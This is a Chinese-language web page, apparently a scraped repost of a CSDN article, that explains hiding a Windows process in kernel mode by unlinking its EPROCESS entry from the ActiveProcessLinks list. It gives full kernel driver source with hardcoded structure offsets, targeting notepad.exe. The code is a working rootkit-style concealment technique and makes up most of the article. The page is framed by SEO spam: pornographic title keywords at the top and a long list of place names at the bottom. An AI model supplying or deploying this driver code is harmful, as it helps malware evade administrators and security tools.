一区二区三区电影_国产伦精品一区二区三区视频免费_亚洲欧美国产精品va在线观看_国产精品一二三四

聯系我們 - 廣告服務 - 聯系電話:
您的當前位置: > 關注 > > 正文

【進程隱藏之內核】EPROCESSSS結構體

來源:CSDN 時間:2023-02-07 10:26:41


(相關資料圖)

進程隱藏之內核實現

1、在內核模式下,系統為每個進程維護了一個EPROCESS結構體,系統所有的進程是通過EPROCESS結構體中的一個ActiveProcessLinks指向的雙端鏈表連接起來的,通過winDBG內核調試工具就可以發現并獲取其相對于EPROCESS結構體的地址(0x88),這樣我們可以通過遍歷該循環鏈表找到我們的目的進程將其鏈表的節點刪除即可隱藏該進程。(EPROCESS中進程PID相對地址為ox84,進程名字相對地址為0x174)。

代碼如下:

/****************************   在內核模式下隱藏進程      sky_2012.12.13****************************/#include#define DWORD ULONGvoid DriverUnload(IN PDRIVER_OBJECT Driver_Object);NTSTATUS HelloDDKDispatchRoutine(IN PDEVICE_OBJECT pDevObj, IN PIRP pIrp);//根據進程Pid找到進程DWORD FindProcessEPROCESS(PANSI_STRING PsName, OUT int* flg);ANSI_STRING Process_Name;NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver_Object, IN PUNICODE_STRING RegisterPath){PLIST_ENTRY  pre_ActiveProcessLink;int flg = 0;DWORD preprocess = 0x00000000;CHAR *string1 = "notepad.exe";Driver_Object->MajorFunction[IRP_MJ_CREATE] = HelloDDKDispatchRoutine;Driver_Object->MajorFunction[IRP_MJ_CLOSE]  = HelloDDKDispatchRoutine;Driver_Object->DriverUnload = DriverUnload;//找到我們要保護的進程的前一個的EPROCESSRtlInitAnsiString(&Process_Name,string1);preprocess = FindProcessEPROCESS(&Process_Name,&flg);//根據進程的ActiveProcessLink刪除掉我們的目的進程的ActiveProcessLink的連表節點if(flg){pre_ActiveProcessLink = (PLIST_ENTRY)(preprocess);pre_ActiveProcessLink->Flink = pre_ActiveProcessLink->Flink->Flink;pre_ActiveProcessLink->Flink->Blink = pre_ActiveProcessLink;KdPrint(("Delete Success!\n"));}else{KdPrint(("notepad.exe dos"nt exist!\n"));}return STATUS_SUCCESS;}DWORD FindProcessEPROCESS(PANSI_STRING PsName, OUT int* flg){ANSI_STRING CurName;PLIST_ENTRY   cut_ActiveProcessLink = 0x00000000;DWORD CUR_EPROCESS = 0x00000000;DWORD curent_id = 0;//記錄當前idDWORD start_id =0;int count = 0;//記錄id總數CUR_EPROCESS = (DWORD)PsGetCurrentProcess();curent_id = *((DWORD*)(CUR_EPROCESS + 0x84));start_id = curent_id;RtlInitAnsiString(&CurName,(char*)CUR_EPROCESS + 0x174);cut_ActiveProcessLink = (PLIST_ENTRY)(CUR_EPROCESS + 0x88);//如果相同if(!RtlCompareString(PsName, &CurName,FALSE)){*flg = 1;return ((DWORD)(cut_ActiveProcessLink->Blink));}//接著遍歷while(1){count++;cut_ActiveProcessLink = cut_ActiveProcessLink->Flink;RtlInitAnsiString(&CurName,(char*)cut_ActiveProcessLink - 0x88 + 0x174);curent_id = *((DWORD*)((DWORD)cut_ActiveProcessLink - 0x88 + 0x84));if(!RtlCompareString(PsName,&CurName,FALSE)){*flg = 1;return ((DWORD)(cut_ActiveProcessLink->Blink));}else if (count>=1&&(start_id == curent_id)){KdPrint(("沒有找到!\n"));return 0x00000000;}}}//默認的例程NTSTATUS HelloDDKDispatchRoutine(IN PDEVICE_OBJECT pDevObj, IN PIRP pIrp){NTSTATUS status = STATUS_SUCCESS;KdPrint(("Enter HelloDDKDispatchRoutine\n"));// 完成IRPpIrp->IoStatus.Status = status;IoCompleteRequest(pIrp, IO_NO_INCREMENT );KdPrint(("Leave HelloDDKDispatchRoutine\n"));return status;}//設置卸載例程void DriverUnload(IN PDRIVER_OBJECT Driver_Object){KdPrint(("DriverUnload!\n"));}

責任編輯:

標簽:

相關推薦:

精彩放送:

新聞聚焦
Top 主站蜘蛛池模板: 永济市| 巴彦淖尔市| 大丰市| 宝丰县| 谷城县| 阳曲县| 建阳市| 上蔡县| 文登市| 通江县| 乳山市| 鹿邑县| 教育| 岱山县| 咸丰县| 巴南区| 山丹县| 台中县| 新巴尔虎右旗| 江津市| 汝南县| 万源市| 汶上县| 阳谷县| 颍上县| 古田县| 涿州市| 武胜县| 茌平县| 安溪县| 梨树县| 德江县| 丹巴县| 德清县| 丰顺县| 喀什市| 西安市| 新田县| 新宾| 北宁市| 乌审旗|